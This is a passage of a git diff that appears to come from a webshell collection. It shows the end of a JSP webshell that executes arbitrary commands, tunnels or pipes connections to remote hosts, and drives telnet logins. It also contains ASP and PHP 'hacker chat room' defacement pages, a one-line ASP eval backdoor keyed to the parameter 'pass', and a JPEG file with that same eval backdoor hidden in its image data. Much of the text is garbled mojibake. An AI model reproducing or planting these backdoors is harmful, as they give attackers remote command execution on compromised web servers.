||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentWX[b+128] = reply;
|
||||||
|
receivedDX[b+128] = DO;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACDONT:
|
||||||
|
switch (b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = WONT;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NOLOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_NAWS:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("NAWS");
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentWX[b+128] ||
|
||||||
|
DONT != receivedDX[b+128]
|
||||||
|
) {
|
||||||
|
send(IAC);send(reply);send(b);
|
||||||
|
sentWX[b+128] = reply;
|
||||||
|
receivedDX[b+128] = DONT;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACSBIAC:
|
||||||
|
if(debug > 2) System.out.println(""+b+" ");
|
||||||
|
if (b == IAC) {
|
||||||
|
sbcount = 0;
|
||||||
|
current_sb = b;
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
} else {
|
||||||
|
System.out.println("(bad) "+b+" ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACSB:
|
||||||
|
if(debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBIAC;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
current_sb = b;
|
||||||
|
sbcount = 0;
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACSBDATA:
|
||||||
|
if (debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBDATAIAC;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
sbbuf[sbcount++] = b;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACSBDATAIAC:
|
||||||
|
if (debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
sbbuf[sbcount++] = IAC;
|
||||||
|
break;
|
||||||
|
case SE:
|
||||||
|
handle_sb(current_sb,sbbuf,sbcount);
|
||||||
|
current_sb = 0;
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case SB:
|
||||||
|
handle_sb(current_sb,sbbuf,sbcount);
|
||||||
|
neg_state = STATE_IACSB;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if (debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"This should not happen: "+
|
||||||
|
neg_state+" "
|
||||||
|
);
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
buf = new byte[noffset];
|
||||||
|
System.arraycopy(nbuf, 0, buf, 0, noffset);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class TelnetConnect
|
||||||
|
{
|
||||||
|
TelnetIO tio = new TelnetIO();
|
||||||
|
int port = 0;
|
||||||
|
public TelnetConnect(int port)
|
||||||
|
{
|
||||||
|
this.port = port;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect()
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
tio.connect("localhost",port);
|
||||||
|
} catch(IOException e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnect()
|
||||||
|
{
|
||||||
|
try{
|
||||||
|
tio.disconnect();
|
||||||
|
}catch(IOException e){}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String wait(String prompt)
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
do {
|
||||||
|
try {
|
||||||
|
tmp += new String(tio.receive(), 0);
|
||||||
|
}catch(IOException e) {}
|
||||||
|
} while(tmp.indexOf(prompt) == -1);
|
||||||
|
return tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] receive()
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
try{
|
||||||
|
temp = tio.receive();
|
||||||
|
}catch(IOException e){}
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String waitshell()
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
do {
|
||||||
|
try { tmp += new String(tio.receive(), 0); }
|
||||||
|
catch(IOException e) {}
|
||||||
|
} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1));
|
||||||
|
return tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void send(String str)
|
||||||
|
{
|
||||||
|
byte[] buf = new byte[str.length()];
|
||||||
|
str.getBytes(0, str.length(), buf, 0);
|
||||||
|
try { tio.send(buf); } catch(IOException e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String action = request.getParameter("action");
|
||||||
|
String cmd = request.getParameter("cmd");
|
||||||
|
String remoteHost = request.getParameter("remoteHost");
|
||||||
|
String myIp = request.getParameter("myIp");
|
||||||
|
String myPort = request.getParameter("myPort");
|
||||||
|
String remotePort = request.getParameter("remotePort");
|
||||||
|
String username = request.getParameter("username");
|
||||||
|
String password = request.getParameter("password");
|
||||||
|
String myShell = request.getParameter("myShell");
|
||||||
|
if(action.equals("shell")){
|
||||||
|
try {
|
||||||
|
Process child = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream in = child.getInputStream();
|
||||||
|
int c;
|
||||||
|
while ((c = in.read()) != -1) { out.print((char)c); }
|
||||||
|
in.close();
|
||||||
|
try { child.waitFor();} catch (InterruptedException e) {}
|
||||||
|
} catch (IOException e) {}
|
||||||
|
}else if(action.equals("piped")){
|
||||||
|
piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort));
|
||||||
|
}else if(action.equals("tunnel")){
|
||||||
|
tunnel me = new tunnel(Integer.parseInt(myPort),
|
||||||
|
remoteHost, Integer.parseInt(remotePort));
|
||||||
|
}else if(action.equals("login")){
|
||||||
|
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||||||
|
tc.connect();
|
||||||
|
out.print(tc.wait("login:"));
|
||||||
|
tc.send(username+"\r");
|
||||||
|
out.print(tc.wait("Password:"));
|
||||||
|
tc.send(password+"\r");
|
||||||
|
out.print(tc.waitshell());
|
||||||
|
tc.disconnect();
|
||||||
|
}else if(action.equals("send")){
|
||||||
|
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||||||
|
tc.connect();
|
||||||
|
tc.send(cmd+"\r");
|
||||||
|
if(!myShell.equals("logout"))
|
||||||
|
out.print(tc.wait(myShell));
|
||||||
|
tc.disconnect();
|
||||||
|
}else if(action.equals("close")){
|
||||||
|
try{
|
||||||
|
Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort));
|
||||||
|
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
|
||||||
|
PrintStream ps = new PrintStream(dos);
|
||||||
|
ps.println("--GoodBye--");
|
||||||
|
ps.close();
|
||||||
|
dos.close();
|
||||||
|
s.close();
|
||||||
|
}catch(Exception e){}
|
||||||
|
}else{
|
||||||
|
out.print("<Font color=black size=7>You Love Hacker Too?");
|
||||||
|
}
|
||||||
|
%>
|
||||||
51
net-friend/ChatRoom/菊花聊天室.asp
Normal file
51
net-friend/ChatRoom/菊花聊天室.asp
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
<!--<2D>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷǷ<DAB7><C7B7><EFBFBD>;<EFBFBD><CDBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD>-->
|
||||||
|
<!--<2D><>ԴС<D4B4><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>뱣<EFBFBD><EBB1A3><EFBFBD><EFBFBD>Ȩ Author:YoCo Smart-->
|
||||||
|
<!--20120214<31><34><EFBFBD>˽<EFBFBD>asp<73><70>-->
|
||||||
|
<%@ LANGUAGE = VBScript %>
|
||||||
|
<%
|
||||||
|
server.scripttimeout=120
|
||||||
|
response.buffer = true
|
||||||
|
on error resume next
|
||||||
|
tm = now
|
||||||
|
ff = Request.ServerVariables("SCRIPT_NAME")
|
||||||
|
|
||||||
|
uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
|
||||||
|
If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR")
|
||||||
|
uip=split(uip,".",-1,1)
|
||||||
|
ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*"
|
||||||
|
|
||||||
|
data = left(replace(trim(request.form("what")),"˵<><CBB5>ʲô<CAB2><C3B4>",""),200)
|
||||||
|
|
||||||
|
if data<>"" then
|
||||||
|
data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"http://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""")
|
||||||
|
data = replace(data,"[img]","<img src=""http://")
|
||||||
|
data = replace(data,"[/img]",""" />")
|
||||||
|
txt = "<pre>"&data&"<p>IPΪ"&ipx&"<22><>ͯЬ >>> Fucked at:"&tm&"</p></pre>"
|
||||||
|
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase)
|
||||||
|
File.Writeline txt
|
||||||
|
File.Close
|
||||||
|
response.write "<script>location.replace(location.href);</script>"
|
||||||
|
end if
|
||||||
|
%>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
|
||||||
|
<title>Chinese Hackers' Chating Room</title>
|
||||||
|
<style type="text/css">
|
||||||
|
html{background:#f7f7f7;}
|
||||||
|
pre{font-size:15pt;font-family:Times New Roman;line-height:120%;}
|
||||||
|
p{font-size:10pt;}
|
||||||
|
.tx{font-family:Lucida Handwriting,Times New Roman;}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<center>
|
||||||
|
<a style="letter-spacing:3px;"><b>Hacked! Owned by Chinese Hackers!</b><br></a>
|
||||||
|
<h1><3E>ջ<EFBFBD><D5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></h1>
|
||||||
|
<hr>
|
||||||
|
<form method=post action="?">
|
||||||
|
<p><a href="#img" onclick="document.getElementById('what').value+='[img]<5D><><EFBFBD>ﻻ<EFBFBD><EFBBBB>ͼƬ<CDBC><C6AC>URL<52><4C>ַ[/img]'"><3E><><EFBFBD><EFBFBD>ͼƬ</a></p>
|
||||||
|
<textarea rows="5" id="what" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="what">˵<><CBB5>ʲô<CAB2><C3B4></textarea>
|
||||||
|
<p class="tx">Chating Room is Powered By <a href="http://blackbap.org" target="_blank">Silic Group Hacker Army</a>©2009-2011</p>
|
||||||
|
<input type="submit" value="<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" tilte="<22>ύ" style="width:120px;height:64px;">
|
||||||
|
</form>
|
||||||
|
</center>
|
||||||
41
net-friend/ChatRoom/菊花聊天室.php
Normal file
41
net-friend/ChatRoom/菊花聊天室.php
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
<!--<EFBFBD>˳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷǷ<EFBFBD><EFBFBD><EFBFBD>;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ը<EFBFBD><EFBFBD><EFBFBD>-->
|
||||||
|
<!--<EFBFBD><EFBFBD>ԴС<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>뱣<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ Author:YoCo Smart-->
|
||||||
|
<!--20120214<EFBFBD><EFBFBD>-->
|
||||||
|
<?php
|
||||||
|
date_default_timezone_set("PRC");
|
||||||
|
$data = addslashes(trim($_POST['what']));
|
||||||
|
$data = mb_substr(str_replace(array('˵<><CBB5>ʲô<CAB2><C3B4>'),array(''),$data),0,82,'gb2312');
|
||||||
|
if (!empty($data))
|
||||||
|
{
|
||||||
|
$data = str_replace(array('http://',';','<','>','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data);
|
||||||
|
$data = str_replace(array('[img]','[/img]'),array('<img src="http://','" />'),$data);
|
||||||
|
$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']);
|
||||||
|
$time = date("Y-m-d G:i:s A");
|
||||||
|
$text = "<pre>".$data."<p>IPΪ".$ip."<EFBFBD><EFBFBD>ͯЬ >>> Fucked at:".$time."</p></pre>";
|
||||||
|
$file = fopen(__FILE__,'a');
|
||||||
|
fwrite($file,$text);
|
||||||
|
fclose($file);
|
||||||
|
echo "<script>location.replace(location.href);</script>";
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
|
||||||
|
<title>Chinese Hackers' Chating Room</title>
|
||||||
|
<style type="text/css">
|
||||||
|
html{background:#f7f7f7;}
|
||||||
|
pre{font-size:15pt;font-family:Times New Roman;line-height:120%;}
|
||||||
|
p{font-size:10pt;}
|
||||||
|
.tx{font-family:Lucida Handwriting,Times New Roman;}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<center>
|
||||||
|
<a style="letter-spacing:3px;"><b>Hacked! Owned by Chinese Hackers!</b><br></a>
|
||||||
|
<h1><3E>ջ<EFBFBD><D5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></h1>
|
||||||
|
<hr>
|
||||||
|
<form method=post action="?">
|
||||||
|
<p><a href="#img" onclick="document.getElementById('what').value+='[img]<5D><><EFBFBD>ﻻ<EFBFBD><EFBBBB>ͼƬ<CDBC><C6AC>URL<52><4C>ַ[/img]'"><3E><><EFBFBD><EFBFBD>ͼƬ</a></p>
|
||||||
|
<textarea rows="5" id="what" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="what">˵<><CBB5>ʲô<CAB2><C3B4></textarea>
|
||||||
|
<p class="tx">Chating Room is Powered By <a href="http://blackbap.org" target="_blank">Silic Group Hacker Army</a>©2009-2011</p>
|
||||||
|
<input type="submit" value="<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" tilte="<22>ύ" style="width:120px;height:64px;">
|
||||||
|
</form>
|
||||||
|
</center>
|
||||||
1
net-friend/asp/01.asp
Normal file
1
net-friend/asp/01.asp
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<%eval request("pass")%>
|
||||||
289
net-friend/asp/1.asp
Normal file
289
net-friend/asp/1.asp
Normal file
@@ -0,0 +1,289 @@
|
|||||||
|
<EFBFBD>?? JFIF ` ` <20>? "Exif II* Q <20>? C
|
||||||
|
|
||||||
|
$.' ",#(7),01444'9=82<.342<EFBFBD>? C
|
||||||
|
|
||||||
|
2!!22222222222222222222222222222222222222222222222222<32>? <%eval request("pass")%><3E>? O" <01>?
|
||||||
|
<0B>? ? } !1AQa"q2<><32>?#B<><42>R<><52>$3br?
|
||||||
|
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>??
|
||||||
|
<0B>? ? w !1AQaq"2?B<><42><EFBFBD><EFBFBD> #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? ? <20><>+<2B><><EFBFBD><EFBFBD><EFBFBD>j<EFBFBD><6A>}<7D><>?Ƴ<><C6B3><EFBFBD><EFBFBD><EFBFBD>p?g<><67><EFBFBD>o<EFBFBD>cŖ^(<28><><EFBFBD><EFBFBD>=<3D><>?<3F><>u<EFBFBD><75><EFBFBD><EFBFBD>~ʳ<>XI?<3F><>J<><4A><EFBFBD>t<EFBFBD>u<EFBFBD>ު<EFBFBD><DEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<EFBFBD>_[Z<><5A>?<?7<><37><EFBFBD><EFBFBD>?dl<64>K<04>^<5E><>W<EFBFBD><57>Gҵ?[?<3F><><EFBFBD><EFBFBD>PKn<4B><6E><EFBFBD><EFBFBD>FČ> <09><>g??F<>z<EFBFBD><7A>R\<5C><>S<EFBFBD><53>\<5C>ih<69>Q<EFBFBD>^1?|p<>N<EFBFBD><4E>v<EFBFBD><76>T<EFBFBD><54>c?RC<01><>=<3D><>S?<3F><>?<13><>{[<5B>Yl.!y??p@?<3F><>SF<53><46><EFBFBD><EFBFBD>B<EFBFBD><42>O<EFBFBD><4F><EFBFBD>u-j<><6A>u=A?#<23><<3C><>2O?u<V<17><>Ki{?
|
||||||
|
[?<3F>H{<7B><>]Yl<59> v?UwP ?<3F><>5<EFBFBD><35><0E>EGؤ<47><D8A4>T<EFBFBD>ѫ<EFBFBD><D1AB>u~<7E><><EFBFBD>a{u><3E><><EFBFBD><EFBFBD>.<2E><><EFBFBD>f?<3F><><EFBFBD>څ<EFBFBD>г<19><>N??d<><64><EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD>o<EFBFBD>Xua<75><61><EFBFBD><EFBFBD>Ա<EFBFBD>|<7C><>aB<61><42>d<13><>k<EFBFBD><6B><EFBFBD><EFBFBD>?Rz<52><7A><EFBFBD>z<14>u<EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҋ<EFBFBD>?<3F>PZ<50>wkk<6B><6B><EFBFBD>s
|
||||||
|
<EFBFBD>ڡfD<EFBFBD><EFBFBD>^?<3F><>ҭ?;<3B>Z?<3F><>K<EFBFBD><4B>?<3F><>qB<71>v<EFBFBD><76>l<EFBFBD><6C>V*?<3F>˖]<5D><>?h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>Ei?~<7E>`<60><><EFBFBD>ߙ<EFBFBD><DF99><EFBFBD>s<EFBFBD><73>+
|
||||||
|
R<EFBFBD>O<EFBFBD><EFBFBD>=<3D><>?f<><66>5Žɍ'l<><6C>??<18><><1D><>n?<3F>Z<EFBFBD><5A>k<EFBFBD><6B>%$<24>g2H<32>W<1B><><EFBFBD><EFBFBD>U<EFBFBD><55><19><>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>qi3?$?<0E>s<EFBFBD><73><EFBFBD>x<EFBFBD>s<EFBFBD>^}<7D><>>G<><47>|+Z<><5A>˲I<CBB2><49><EFBFBD>I<EFBFBD><49><EFBFBD><EFBFBD>v<EFBFBD><76>:'<27><>d<EFBFBD>Nm*;?rƚ<72>ږe<DA96><65>?<3F> 8<><38><EFBFBD>ږ<EFBFBD><DA96>Z <09>e?<3F><><06>k<EFBFBD><6B>Щ?=<3D>\<0F><>z<EFBFBD><7A><EFBFBD>?awծ?s<>r?s<><73>w><3E>g?=?M<0C><>2BY<42>b<EFBFBD>g9<67>I?<3F><><EFBFBD><EFBFBD>EP<45>F<EFBFBD>Ux<55><78><EFBFBD><EFBFBD><EFBFBD>L?<3F><><EFBFBD><EFBFBD>?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>U՞yg<79>i<EFBFBD><69><EFBFBD>vD?<02><><EFBFBD>WP7<05> <20>P?g}<7D><>s??w<0E><><EFBFBD>K<EFBFBD>u8<75>~ɨ<>}r?Jۖ<4A><DB96>H(?A<18>z<EFBFBD><7A>?ᏃDr1?~q?<3F><>><3E><><EFBFBD><EFBFBD><0F><><16><><EFBFBD>D<EFBFBD>T?dDy<44>u<0C><>?<3F>ƾ<EFBFBD>?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i<EFBFBD><69><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?<3F><>8?<1C>ڗ<EFBFBD><DA97>Ed7<64>Ko<><6F><EFBFBD><EFBFBD>/RyoQXڮ<58><DAAE>?<3F><><EFBFBD><EFBFBD>4J<05><><EFBFBD>L<EFBFBD>~o<><6F>=8<><38>^<5E><>xcE?I?>+?]<5D><>?s?S<><53>~<17><><EFBFBD>x<EFBFBD>ku?<0E><>? <20><><EFBFBD><EFBFBD>)6? ]<5D>S<EFBFBD>p<EFBFBD><70>*T?u[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
f?<3F><><EFBFBD>iFx<46><78><EFBFBD><EFBFBD><EFBFBD>a#qv<><76><EFBFBD>?<3F>}3[_-<2D>ψ<EFBFBD>5(tuhv<68><76>?(⌀ՄQ<D584>z;u<><75>o<05>r<EFBFBD><72><EFBFBD><EFBFBD>?<3F><><EFBFBD>i]?3<><33>$g&<26><><EFBFBD>gD<67><44>E<EFBFBD><45><EFBFBD>k??@<40>d`<60><>8y)?_<><5F>f<EFBFBD>g<EFBFBD><67>$<24><>? M<> <20>y3<79>?
|
||||||
|
|
||||||
|
<0B>? ? } !1AQa"q2<><32>?#B<><42>R<><52>$3br?
|
||||||
|
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>??
|
||||||
|
<0B>? ? w !1AQaq"2?B<><42><EFBFBD><EFBFBD> #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz<79><7A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? ? <20><>+<2B><><EFBFBD><EFBFBD><EFBFBD>j<EFBFBD><6A>}<7D><>?Ƴ<><C6B3><EFBFBD><EFBFBD><EFBFBD>p?g<><67><EFBFBD>o<EFBFBD>cŖ^(<28><><EFBFBD><EFBFBD>=<3D><>?<3F><>u<EFBFBD><75><EFBFBD><EFBFBD>~ʳ<>XI?<3F><>J<><4A><EFBFBD>t<EFBFBD>u<EFBFBD>ު<EFBFBD><DEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<EFBFBD>_[Z<><5A>?<?7<><37><EFBFBD><EFBFBD>?dl<64>K<04>^<5E><>W<EFBFBD><57>Gҵ?[?<3F><><EFBFBD><EFBFBD>PKn<4B><6E><EFBFBD><EFBFBD>FČ> <09><>g??F<>z<EFBFBD><7A>R\<5C><>S<EFBFBD><53>\<5C>ih<69>Q<EFBFBD>^1?|p<>N<EFBFBD><4E>v<EFBFBD><76>T<EFBFBD><54>c?RC<01><>=<3D><>S?<3F><>?<13><>{[<5B>Yl.!y??p@?<3F><>SF<53><46><EFBFBD><EFBFBD>B<EFBFBD><42>O<EFBFBD><4F><EFBFBD>u-j<><6A>u=A?#<23><<3C><>2O?u<V<17><>Ki{?
|
||||||
|
[?<3F>H{<7B><>]Yl<59> v?UwP ?<3F><>5<EFBFBD><35><0E>EGؤ<47><D8A4>T<EFBFBD>ѫ<EFBFBD><D1AB>u~<7E><><EFBFBD>a{u><3E><><EFBFBD><EFBFBD>.<2E><><EFBFBD>f?<3F><><EFBFBD>څ<EFBFBD>г<19><>N??d<><64><EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD>o<EFBFBD>Xua<75><61><EFBFBD><EFBFBD>Ա<EFBFBD>|<7C><>aB<61><42>d<13><>k<EFBFBD><6B><EFBFBD><EFBFBD>?Rz<52><7A><EFBFBD>z<14>u<EFBFBD>S<EFBFBD><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҋ<EFBFBD>?<3F>PZ<50>wkk<6B><6B><EFBFBD>s
|
||||||
|
<EFBFBD>ڡfD<EFBFBD><EFBFBD>^?<3F><>ҭ?;<3B>Z?<3F><>K<EFBFBD><4B>?<3F><>qB<71>v<EFBFBD><76>l<EFBFBD><6C>V*?<3F>˖]<5D><>?h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>Ei?~<7E>`<60><><EFBFBD>ߙ<EFBFBD><DF99><EFBFBD>s<EFBFBD><73>+
|
||||||
|
